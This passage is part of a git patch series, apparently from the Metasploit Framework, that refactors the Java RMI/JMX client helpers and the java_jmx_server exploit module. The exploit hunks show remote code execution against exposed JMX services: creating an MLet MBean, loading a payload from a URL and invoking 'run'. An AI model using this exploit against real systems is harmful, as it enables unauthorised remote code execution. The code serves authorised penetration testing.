"\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7" + + "\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74\x00" + + "\x06\x6a\x6d\x78\x72\x6d\x69" + + io = StringIO.new(raw, 'rb') + rv = Rex::Proto::Rmi::Model::ReturnValue.new + rv.decode(io) + + rv + end + + let(:names) { ['jmxrmi'] } + + describe "#parse_registry_lookup" do + it "returns the remote object" do + expect(mod.parse_registry_lookup(lookup_return)).to eq(remote_object) + end + end + + describe "#parse_registry_lookup_endpoint" do + it "returns the remote reference information in a Hash" do + expect(mod.parse_registry_lookup_endpoint(lookup_return)).to be_a(Hash) + end + + it "returns the remote address" do + ref = mod.parse_registry_lookup_endpoint(lookup_return) + expect(ref[:address]).to eq(remote_interface[:address]) + end + + it "returns the remote port" do + ref = mod.parse_registry_lookup_endpoint(lookup_return) + expect(ref[:port]).to eq(remote_interface[:port]) + end + + it "returns the remote object number" do + ref = mod.parse_registry_lookup_endpoint(lookup_return) + expect(ref[:object_number]).to eq(remote_interface[:object_number]) + end + + it "returns the remote object unique identifier" do + ref = mod.parse_registry_lookup_endpoint(lookup_return) + expect(ref[:uid]).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier) + end + end + + describe "#parse_registry_list" do + it "returns the list of names" do + expect(mod.parse_registry_list(list_return)).to eq(names) + end + end + +end + From 79068c8ec2e9c74a47c14d67d725005b8e9512b0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 23 Mar 2015 10:21:37 -0500 Subject: [PATCH 26/58] Delete JMX discovery stream --- lib/msf/java/jmx.rb | 2 -- lib/msf/java/jmx/discovery.rb | 29 ---------------- .../exploits/multi/misc/java_jmx_server.rb | 32 ++++-------------- spec/lib/msf/java/jmx/discovery_spec.rb | 33 ------------------- 4 files changed, 6 insertions(+), 90 deletions(-) delete mode 100644 lib/msf/java/jmx/discovery.rb delete mode 100644 spec/lib/msf/java/jmx/discovery_spec.rb diff --git a/lib/msf/java/jmx.rb b/lib/msf/java/jmx.rb index 8c54bd9b35..fa5db05204 100644 --- a/lib/msf/java/jmx.rb +++ b/lib/msf/java/jmx.rb @@ -9,14 +9,12 @@ module Msf require 'msf/java/rmi/util' require 'msf/java/rmi/builder' require 'msf/java/jmx/util' - require 'msf/java/jmx/discovery' require 'msf/java/jmx/handshake' require 'msf/java/jmx/mbean' include Msf::Java::Rmi::Util include Msf::Java::Rmi::Builder include Msf::Java::Jmx::Util - include Msf::Java::Jmx::Discovery include Msf::Java::Jmx::Handshake include Msf::Java::Jmx::Mbean diff --git a/lib/msf/java/jmx/discovery.rb b/lib/msf/java/jmx/discovery.rb deleted file mode 100644 index c525261922..0000000000 --- a/lib/msf/java/jmx/discovery.rb +++ /dev/null @@ -1,29 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Jmx - # This module provides methods which help to handle JMX end points discovery - module Discovery - # Builds a Rex::Proto::Rmi::Model::Call to discover - # an JMX RMI endpoint - # - # @return [Rex::Proto::Rmi::Model::Call] - # @TODO it should be moved to a Registry mixin - def discovery_stream - call = build_call( - object_number: 0, - uid_number: 0, - uid_time: 0, - uid_count: 0, - operation: 2, # java.rmi.Remote lookup(java.lang.String) - hash: 0x44154dc9d4e63bdf, #ReferenceRegistryStub - arguments: [Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi')] - ) - - call - end - end - end - end -end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 49f831e91b..4ee4d2bbf2 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -179,37 +179,17 @@ class Metasploit3 < Msf::Exploit::Remote end def discover_endpoint - send_call(call: discovery_stream) - return_value = recv_return + ref = send_registry_lookup(name: 'jmxrmi') + return nil if ref.nil? - if return_value.nil? - vprint_error("#{peer} - Discovery request didn't answer") + unless ref[:object] == 'javax.management.remote.rmi.RMIServerImpl_Stub' + vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{ref[:object]}") return nil end - if return_value.is_exception? - vprint_error("#{peer} - Discovery request returned an exception") - return nil - end + print_status("#{ref.inspect}") - answer = extract_object(return_value.value[0]) - - if answer.nil? - vprint_error("#{peer} - Unexpected JMXRMI discovery answer") - return nil - end - - case answer - when 'javax.management.remote.rmi.RMIServerImpl_Stub' - mbean_server = extract_unicast_ref(StringIO.new(return_value.value[1].contents)) - else - vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{answer}") - return nil - end - - print_status("#{mbean_server.inspect}") - - mbean_server + ref end def handshake(mbean) diff --git a/spec/lib/msf/java/jmx/discovery_spec.rb b/spec/lib/msf/java/jmx/discovery_spec.rb deleted file mode 100644 index c5f02ef22a..0000000000 --- a/spec/lib/msf/java/jmx/discovery_spec.rb +++ /dev/null @@ -1,33 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'msf/java/jmx' - -describe Msf::Java::Jmx::Discovery do - subject(:mod) do - mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Jmx - mod.send(:initialize) - mod - end - - let(:stream_discovery) do - "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02" + - "\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x06\x6a\x6d\x78\x72\x6d" + - "\x69" - end - - describe "#discovery_stream" do - - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.discovery_stream).to be_a(Rex::Java::Serialization::Model::Stream) - end - - it "builds a valid stream to discover an jmxrmi endpoing" do - expect(mod.discovery_stream.encode).to eq(stream_discovery) - end - end -end - From 962bb670de332952528b9cac98eba233fac31c03 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 23 Mar 2015 15:48:10 -0500 Subject: [PATCH 27/58] Remove old JMX mixin --- lib/msf/core.rb | 3 - lib/msf/java/jmx.rb | 42 ---- lib/msf/java/jmx/handshake.rb | 66 ------ lib/msf/java/jmx/mbean.rb | 13 -- lib/msf/java/jmx/mbean/server_connection.rb | 188 ---------------- lib/msf/java/jmx/util.rb | 97 --------- lib/msf/java/rmi/client.rb | 2 + .../java/rmi/client/jmx/connection/builder.rb | 203 ++++++++++++++++++ .../java/rmi/client/jmx/connection/parser.rb | 39 ++++ lib/rex/proto/rmi/model/return_value.rb | 16 +- .../exploits/multi/misc/java_jmx_server.rb | 117 +++------- 11 files changed, 289 insertions(+), 497 deletions(-) delete mode 100644 lib/msf/java/jmx.rb delete mode 100644 lib/msf/java/jmx/handshake.rb delete mode 100644 lib/msf/java/jmx/mbean.rb delete mode 100644 lib/msf/java/jmx/mbean/server_connection.rb delete mode 100644 lib/msf/java/jmx/util.rb create mode 100644 lib/msf/java/rmi/client/jmx/connection/builder.rb create mode 100644 lib/msf/java/rmi/client/jmx/connection/parser.rb diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 3a522c7200..deeec9d19a 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -79,9 +79,6 @@ require 'msf/kerberos/client' require 'msf/java/rmi/util' require 'msf/java/rmi/client' -# Java JMX Support -require 'msf/java/jmx' - # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/java/jmx.rb b/lib/msf/java/jmx.rb deleted file mode 100644 index fa5db05204..0000000000 --- a/lib/msf/java/jmx.rb +++ /dev/null @@ -1,42 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/java/serialization' -require 'rex/proto/rmi' - -module Msf - module Java - module Jmx - require 'msf/java/rmi/util' - require 'msf/java/rmi/builder' - require 'msf/java/jmx/util' - require 'msf/java/jmx/handshake' - require 'msf/java/jmx/mbean' - - include Msf::Java::Rmi::Util - include Msf::Java::Rmi::Builder - include Msf::Java::Jmx::Util - include Msf::Java::Jmx::Handshake - include Msf::Java::Jmx::Mbean - - def initialize(info = {}) - super - - register_options( - [ - Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), - Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']) - ], HTTP::Wordpress - ) - end - - def jmx_role - datastore['JMX_ROLE'] - end - - def jmx_password - datastore['JMX_PASSWORD'] - end - - end - end -end diff --git a/lib/msf/java/jmx/handshake.rb b/lib/msf/java/jmx/handshake.rb deleted file mode 100644 index 022b64328c..0000000000 --- a/lib/msf/java/jmx/handshake.rb +++ /dev/null @@ -1,66 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Jmx - # This module provides methods which help to handle a JMX handshake - module Handshake - - # Builds a Rex::Java::Serialization::Model::Stream to make - # a JMX handshake with an endpoint - # - # @param id [String] The endpoint UnicastRef ObjId - # @return [Rex::Java::Serialization::Model::Stream] - def handshake_stream(opts = {}) - object_number = opts[:object_number] || 0 - uid_number = opts[:uid_number] || 0 - uid_time = opts[:uid_time] || 0 - uid_count = opts[:uid_count] || 0 - - arguments = [] - if jmx_role - username = jmx_role - password = jmx_password || '' - arguments << auth_array_stream(username, password) - else - arguments << Rex::Java::Serialization::Model::NullReference.new - end - - call = build_call( - object_number: object_number, - uid_number: uid_number, - uid_time: uid_time, - uid_count: uid_count, - operation: -1, - hash: -1089742558549201240, - arguments: arguments - ) - - call - end - - # Builds a Rex::Java::Serialization::Model::NewArray with credentials - # to make an authenticated handshake - # - # @param username [String] The username (role) to authenticate with - # @param password [String] The password to authenticate with - # @return [Rex::Java::Serialization::Model::NewArray] - def auth_array_stream(username, password) - builder = Rex::Java::Serialization::Builder.new - - auth_array = builder.new_array( - name: '[Ljava.lang.String;', - serial: 0xadd256e7e91d7b47, # serialVersionUID - values_type: 'java.lang.String;', - values: [ - Rex::Java::Serialization::Model::Utf.new(nil, username), - Rex::Java::Serialization::Model::Utf.new(nil, password) - ] - ) - - auth_array - end - end - end - end -end diff --git a/lib/msf/java/jmx/mbean.rb b/lib/msf/java/jmx/mbean.rb deleted file mode 100644 index 0956316b32..0000000000 --- a/lib/msf/java/jmx/mbean.rb +++ /dev/null @@ -1,13 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Jmx - module Mbean - require 'msf/java/jmx/mbean/server_connection' - - include Msf::Java::Jmx::Mbean::ServerConnection - end - end - end -end diff --git a/lib/msf/java/jmx/mbean/server_connection.rb b/lib/msf/java/jmx/mbean/server_connection.rb deleted file mode 100644 index a2b6052780..0000000000 --- a/lib/msf/java/jmx/mbean/server_connection.rb +++ /dev/null @@ -1,188 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Jmx - module Mbean - # This module provides methods which help to handle with MBean related calls. - # Specially, simulating calls with the Java javax.management.MBeanServerConnection - # class - module ServerConnection - - # Builds a Rex::Java::Serialization::Model::Stream to simulate a call - # to the createMBean method. - # - # @param opts [Hash{Symbol => String}] - # @option opts [String] :obj_id the jmx endpoint ObjId - # @option opts [String] :name the name of the MBean - # @return [Rex::Java::Serialization::Model::Stream] - def create_mbean_stream(opts = {}) - name = opts[:name] || '' - object_number = opts[:object_number] || 0 - uid_number = opts[:uid_number] || 0 - uid_time = opts[:uid_time] || 0 - uid_count = opts[:uid_count] || 0 - - arguments = [ - Rex::Java::Serialization::Model::Utf.new(nil, name), - Rex::Java::Serialization::Model::NullReference.new, - Rex::Java::Serialization::Model::NullReference.new - ] - - call = build_call( - object_number: object_number, - uid_number: uid_number, - uid_time: uid_time, - uid_count: uid_count, - operation: -1, - hash: 2510753813974665446, - arguments: arguments - ) - - call - end - - # Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the - # Java getObjectInstance method. - # - # @param opts [Hash{Symbol => String}] - # @option opts [String] :obj_id the jmx endpoint ObjId - # @option opts [String] :name the name of the MBean - # @return [Rex::Java::Serialization::Model::Stream] - def get_object_instance_stream(opts = {}) - object_number = opts[:object_number] || 0 - uid_number = opts[:uid_number] || 0 - uid_time = opts[:uid_time] || 0 - uid_count = opts[:uid_count] || 0 - name = opts[:name] || '' - builder = Rex::Java::Serialization::Builder.new - - new_object = builder.new_object( - name: 'javax.management.ObjectName', - serial: 0xf03a71beb6d15cf, # serialVersionUID - flags: 3 - ) - - arguments = [ - new_object, - Rex::Java::Serialization::Model::Utf.new(nil, name), - Rex::Java::Serialization::Model::EndBlockData.new, - Rex::Java::Serialization::Model::NullReference.new - ] - - call = build_call( - object_number: object_number, - uid_number: uid_number, - uid_time: uid_time, - uid_count: uid_count, - operation: -1, - hash: 6950095694996159938, - arguments: arguments - ) - - call - end - - # Builds a Rex::Java::Serialization::Model::Stream to simulate a call - # to the Java invoke method. - # - # @param opts [Hash{Symbol => String}] - # @option opts [String] :obj_id the jmx endpoint ObjId - # @option opts [String] :object the object whose method we want to call - # @option opts [String] :method the method name to invoke - # @option opts [String] :args the arguments of the method to invoke - # @return [Rex::Java::Serialization::Model::Stream] - def invoke_stream(opts = {}) - object_number = opts[:object_number] || 0 - uid_number = opts[:uid_number] || 0 - uid_time = opts[:uid_time] || 0 - uid_count = opts[:uid_count] || 0 - object_name = opts[:object] || '' - method_name = opts[:method] || '' - args = opts[:args] || {} - builder = Rex::Java::Serialization::Builder.new - - new_object = builder.new_object( - name: 'javax.management.ObjectName', - serial: 0xf03a71beb6d15cf, # serialVersionUID - flags: 3 - ) - - data_binary = builder.new_array( - name: '[B', - serial: 0xacf317f8060854e0, # serialVersionUID - values_type: 'byte', - values: invoke_arguments_stream(args).encode.unpack('C*') - ) - - marshall_object = builder.new_object( - name: 'java.rmi.MarshalledObject', - serial: 0x7cbd1e97ed63fc3e, # serialVersionUID - fields: [ - ['int', 'hash'], - ['array', 'locBytes', '[B'], - ['array', 'objBytes', '[B'] - ], - data: [ - ["int", 1919492550], - Rex::Java::Serialization::Model::NullReference.new, - data_binary - ] - ) - - new_array = builder.new_array( - name: '[Ljava.lang.String;', - serial: 0xadd256e7e91d7b47, # serialVersionUID - values_type: 'java.lang.String;', - values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } - ) - - arguments = [ - new_object, - Rex::Java::Serialization::Model::Utf.new(nil, object_name), - Rex::Java::Serialization::Model::EndBlockData.new, - Rex::Java::Serialization::Model::Utf.new(nil, method_name), - marshall_object, - new_array, - Rex::Java::Serialization::Model::NullReference.new - ] - - call = build_call( - object_number: object_number, - uid_number: uid_number, - uid_time: uid_time, - uid_count: uid_count, - operation: -1, - hash: 1434350937885235744, - arguments: arguments - ) - - call - end - - # Builds a Rex::Java::Serialization::Model::Stream with the arguments to - # simulate a call to the Java invoke method method. - # - # @param args [Hash] the arguments of the method to invoke - # @return [Rex::Java::Serialization::Model::Stream] - def invoke_arguments_stream(args = {}) - builder = Rex::Java::Serialization::Builder.new - - new_array = builder.new_array( - name: '[Ljava.lang.Object;', - serial: 0x90ce589f1073296c, # serialVersionUID - annotations: [Rex::Java::Serialization::Model::EndBlockData.new], - values_type: 'java.lang.Object;', - values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } - ) - - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << new_array - - stream - end - end - end - end - end -end diff --git a/lib/msf/java/jmx/util.rb b/lib/msf/java/jmx/util.rb deleted file mode 100644 index 624f131cc4..0000000000 --- a/lib/msf/java/jmx/util.rb +++ /dev/null @@ -1,97 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Jmx - # This module provides methods which help to handle data - # used by Java JMX - module Util - - # Extracts a Rex::Java::Serialization::Model::NewObject from - # a Rex::Java::Serialization::Model::Stream - # - # @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from - # @param id [Fixnum] the content position storing the object - # @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise - def extract_object(new_object) - - unless new_object.class == Rex::Java::Serialization::Model::NewObject - return nil - end - - new_object.class_desc.description.class_name.contents - end - - # Extracts an string from an IO - # - # @param io [IO] the io to extract the string from - # @return [String, nil] the extracted string if success, nil otherwise - def extract_string(io) - raw_length = io.read(2) - unless raw_length && raw_length.length == 2 - return nil - end - length = raw_length.unpack('n')[0] - - string = io.read(length) - unless string && string.length == length - return nil - end - - string - end - - # Extracts an int from an IO - # - # @param io [IO] the io to extract the int from - # @return [Fixnum, nil] the extracted int if success, nil otherwise - def extract_int(io) - int_raw = io.read(4) - unless int_raw && int_raw.length == 4 - return nil - end - int = int_raw.unpack('N')[0] - - int - end - - # Extracts a long from an IO - # - # @param io [IO] the io to extract the long from - # @return [Fixnum, nil] the extracted int if success, nil otherwise - def extract_long(io) - int_raw = io.read(8) - unless int_raw && int_raw.length == 8 - return nil - end - int = int_raw.unpack('q>')[0] - - int - end - - # Extracts an UnicastRef (endpoint) information from an IO - # - # @param io [IO] the io to extract the int from - # @return [Hash, nil] the extracted int if success, nil otherwise - def extract_unicast_ref(io) - ref = extract_string(io) - unless ref && ref == 'UnicastRef' - return nil - end - - address = extract_string(io) - return nil unless address - - port = extract_int(io) - return nil unless port - - object_number = extract_long(io) - uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io) - - { address: address, port: port, object_number: object_number, uid: uid } - end - - end - end - end -end diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index 8445d8d635..c6bf1609c8 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -11,10 +11,12 @@ module Msf require 'msf/java/rmi/util' require 'msf/java/rmi/builder' require 'msf/java/rmi/client/registry' + require 'msf/java/rmi/client/jmx' include Msf::Java::Rmi::Util include Msf::Java::Rmi::Builder include Msf::Java::Rmi::Client::Registry + include Msf::Java::Rmi::Client::Jmx include Exploit::Remote::Tcp # Returns the target host diff --git a/lib/msf/java/rmi/client/jmx/connection/builder.rb b/lib/msf/java/rmi/client/jmx/connection/builder.rb new file mode 100644 index 0000000000..3bca70508e --- /dev/null +++ b/lib/msf/java/rmi/client/jmx/connection/builder.rb @@ -0,0 +1,203 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Jmx + module Connection + module Builder + # Builds an RMI call to java.rmi.registry.Registry.lookup() used to + # retrieve the remote reference bound to a name. + # + # @param opts [Hash] + # @option opts [String] :name the name to lookup + # @return [Rex::Proto::Rmi::Model::Call] + # @see Msf::Java::Rmi::Builder.build_call + def build_jmx_get_object_instance(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + name = opts[:name] || '' + + arguments = build_jmx_get_object_instance_args(name) + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: 6950095694996159938, # RMIConnectionImpl_Stub.getObjectInstance() + arguments: arguments + ) + + call + end + + # javax.management.ObjectName $param_ObjectName_1, javax.security.auth.Subject $param_Subject_2 + def build_jmx_get_object_instance_args(name = '') + builder = Rex::Java::Serialization::Builder.new + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, # serialVersionUID + flags: 3 + ) + + arguments = [ + new_object, + Rex::Java::Serialization::Model::Utf.new(nil, name), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::NullReference.new + ] + + arguments + end + + + #// implementation of createMBean(String, ObjectName, Subject) + #public javax.management.ObjectInstance createMBean(java.lang.String $param_String_1, javax.management.ObjectName $param_ObjectName_2, javax.security.auth.Subject $param_Subject_3) + def build_jmx_create_mbean(opts = {}) + name = opts[:name] || '' + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + + arguments = build_jmx_create_mbean_args(name) + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: 2510753813974665446, + arguments: arguments + ) + + call + end + + #(String, ObjectName, Subject) + def build_jmx_create_mbean_args(name = '') + arguments = [ + Rex::Java::Serialization::Model::Utf.new(nil, name), + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::NullReference.new + ] + + arguments + end + end + + + #implementation of invoke(ObjectName, String, MarshalledObject, String[], Subject) + #public java.lang.Object invoke(javax.management.ObjectName $param_ObjectName_1, java.lang.String $param_String_2, java.rmi.MarshalledObject $param_MarshalledObject_3, java.lang.String[] $param_arrayOf_String_4, javax.security.auth.Subject $param_Subject_5) def build_jmx_invoke(opts = {}) + def build_jmx_invoke(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + + arguments = build_jmx_invoke_args(opts) + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: 1434350937885235744, + arguments: arguments + ) + + call + end + + #(ObjectName, String, MarshalledObject, String[], Subject) + def build_jmx_invoke_args(opts = {}) + object_name = opts[:object] || '' + method_name = opts[:method] || '' + args = opts[:args] || {} + + builder = Rex::Java::Serialization::Builder.new + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, # serialVersionUID + flags: 3 + ) + + data_binary = builder.new_array( + name: '[B', + serial: 0xacf317f8060854e0, # serialVersionUID + values_type: 'byte', + values: build_invoke_arguments_obj_bytes(args).encode.unpack('C*') + ) + + marshall_object = builder.new_object( + name: 'java.rmi.MarshalledObject', + serial: 0x7cbd1e97ed63fc3e, # serialVersionUID + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ], + data: [ + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary + ] + ) + + new_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, # serialVersionUID + values_type: 'java.lang.String;', + values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } + ) + + arguments = [ + new_object, + Rex::Java::Serialization::Model::Utf.new(nil, object_name), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(nil, method_name), + marshall_object, + new_array, + Rex::Java::Serialization::Model::NullReference.new + ] + + arguments + end + + # Builds a Rex::Java::Serialization::Model::Stream with the arguments to + # simulate a call to the Java invoke method method. + # + # @param args [Hash] the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] + def build_invoke_arguments_obj_bytes(args = {}) + builder = Rex::Java::Serialization::Builder.new + + new_array = builder.new_array( + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, # serialVersionUID + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + values_type: 'java.lang.Object;', + values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << new_array + + stream + end + + end + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/jmx/connection/parser.rb b/lib/msf/java/rmi/client/jmx/connection/parser.rb new file mode 100644 index 0000000000..bb6db05bd6 --- /dev/null +++ b/lib/msf/java/rmi/client/jmx/connection/parser.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Jmx + module Connection + module Parser + def parse_jmx_get_object_instance(return_value) + if return_value.nil? || return_value.is_exception? + puts "is exception :?" + puts "#{return_value.value[0].class}" + puts "#{return_value.value[0].class_desc.description.class_name.contents}" + return nil + end + + puts "#{return_value.value[0].class}" + + unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewObject) + return nil + end + + case return_value.value[0].class_desc.description + when Rex::Java::Serialization::Model::NewClassDesc + return return_value.value[0].class_desc.description.class_name.contents + when Rex::Java::Serialization::Model::ProxyClassDesc + return return_value.value[0].class_desc.description.interfaces[0].contents + else + return nil + end + end + end + end + end + end + end + end +end diff --git a/lib/rex/proto/rmi/model/return_value.rb b/lib/rex/proto/rmi/model/return_value.rb index dfdb003425..ffb40c7229 100644 --- a/lib/rex/proto/rmi/model/return_value.rb +++ b/lib/rex/proto/rmi/model/return_value.rb @@ -60,16 +60,22 @@ module Rex code == RETURN_EXCEPTION end - # The object returned in the returned value + # The object/exception class of the returned value # - # @return [String] the object class is the returned value is an object indeed - # @return [NilClass] otherwise - def object_name + # @return [String, NilClass] the returned value class, nil if errors + def get_class_name unless value[0] && value[0].class == Rex::Java::Serialization::Model::NewObject return nil end - value[0].class_desc.description.class_name.contents + case value[0].class_desc.description + when Rex::Java::Serialization::Model::NewClassDesc + return value[0].class_desc.description.class_name.contents + when Rex::Java::Serialization::Model::ProxyClassDesc + return value[0].class_desc.description.interfaces[0].contents + else + return nil + end end private diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 4ee4d2bbf2..322d3db1ed 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -155,7 +155,7 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{peer} - Executing payload...") - invoke_run_stream = invoke_stream( + send_jmx_invoke( object_number: jmx_endpoint[:object_number], uid_number: jmx_endpoint[:uid].number, uid_time: jmx_endpoint[:uid].time, @@ -163,8 +163,6 @@ class Metasploit3 < Msf::Exploit::Remote object: "#{@mlet}:name=jmxpayload,id=1", method: 'run' ) - send_call(call: invoke_run_stream) - disconnect end @@ -193,29 +191,18 @@ class Metasploit3 < Msf::Exploit::Remote end def handshake(mbean) - vprint_status("#{peer} - Sending handshake / authentication...") - send_call(call: handshake_stream( - object_number: mbean[:object_number], - uid_number: mbean[:uid].number, - uid_time: mbean[:uid].time, - uid_count: mbean[:uid].count - ) + ref = send_new_client( + object_number: mbean[:object_number], + uid_number: mbean[:uid].number, + uid_time: mbean[:uid].time, + uid_count: mbean[:uid].count ) - return_value = recv_return - if return_value.nil? - vprint_error("#{peer} - Failed to send handshake") - return nil - end - - answer = extract_object(return_value.value[0]) - - if answer.nil? - vprint_error("#{peer} - Unexpected handshake answer") - return nil - end + print_status("#{ref.inspect}") + ref +=begin case answer when 'java.lang.SecurityException' vprint_error("#{peer} - JMX end point requires authentication, but it failed") @@ -231,41 +218,33 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{conn_stub.inspect}") conn_stub +=end end def load_payload(conn_stub) + vprint_status("#{peer} - Getting JMXPayload instance...") - get_payload_instance = get_object_instance_stream( + return_value = send_jmx_get_object_instance( object_number: conn_stub[:object_number], uid_number: conn_stub[:uid].number, uid_time: conn_stub[:uid].time, uid_count: conn_stub[:uid].count, name: "#{@mlet}:name=jmxpayload,id=1" ) - send_call(call: get_payload_instance) - return_value = recv_return if return_value.nil? - vprint_error("#{peer} - The request to getObjectInstance failed") return false - end - - answer = extract_object(return_value.value[0]) - - if answer.nil? - vprint_error("#{peer} - Unexpected getObjectInstance answer") - return false - end - - case answer - when 'javax.management.InstanceNotFoundException' + elsif return_value.is_exception? && return_value.get_class_name == 'javax.management.InstanceNotFoundException' vprint_warning("#{peer} - JMXPayload instance not found, trying to load") return load_payload_from_url(conn_stub) - when 'javax.management.ObjectInstance' + elsif return_value.is_exception? + vprint_error("#{peer} - getObjectInstance returned unexpected exception #{return_value.get_class_name}") + return false + elsif return_value.get_class_name == 'javax.management.ObjectInstance' vprint_good("#{peer} - JMXPayload instance found, using it") return true else - vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}") + vprint_error("#{peer} - getObjectInstance returned unexpected object #{return_value.get_class_name}") return false end end @@ -275,77 +254,55 @@ class Metasploit3 < Msf::Exploit::Remote start_service vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") - create_mbean = create_mbean_stream( + + return_value = send_jmx_create_mbean( object_number: conn_stub[:object_number], uid_number: conn_stub[:uid].number, uid_time: conn_stub[:uid].time, uid_count: conn_stub[:uid].count, name: 'javax.management.loading.MLet' ) - send_call(call: create_mbean) - return_value = recv_return if return_value.nil? vprint_error("#{peer} - The request to createMBean failed") return false end - answer = extract_object(return_value.value[0]) - - if answer.nil? - vprint_error("#{peer} - Unexpected createMBean answer") - return false - end - - case answer - when 'javax.management.InstanceAlreadyExistsException' + if return_value.is_exception? && return_value.get_class_name == 'javax.management.InstanceAlreadyExistsException' vprint_good("#{peer} - javax.management.loading.MLet already exists") - when 'javax.management.ObjectInstance' - vprint_good("#{peer} - javax.management.loading.MLet created") - when 'java.lang.SecurityException' + elsif return_value.is_exception? && return_value.get_class_name == 'java.lang.SecurityException' vprint_error("#{peer} - The provided user hasn't enough privileges") return false + elsif return_value.get_class_name == 'javax.management.ObjectInstance' + vprint_good("#{peer} - javax.management.loading.MLet created") else - vprint_error("#{peer} - createMBean returned unexpected object #{answer}") + vprint_error("#{peer} - createMBean returned unexpected value #{return_value.get_class_name}") return false end vprint_status("#{peer} - Getting javax.management.loading.MLet instance...") - get_mlet_instance = get_object_instance_stream( + return_value = send_jmx_get_object_instance( object_number: conn_stub[:object_number], uid_number: conn_stub[:uid].number, uid_time: conn_stub[:uid].time, uid_count: conn_stub[:uid].count, name: 'DefaultDomain:type=MLet' ) - send_call(call: get_mlet_instance) - return_value = recv_return if return_value.nil? - vprint_error("#{peer} - The request to getObjectInstance failed") return false - end - - answer = extract_object(return_value.value[0]) - - if answer.nil? - vprint_error("#{peer} - Unexpected getObjectInstance answer") + elsif return_value.is_exception? + vprint_error("#{peer} - getObjectInstance returned unexpected exception #{return_value.get_class_name}") return false - end - - case answer - when 'javax.management.InstanceAlreadyExistsException' - 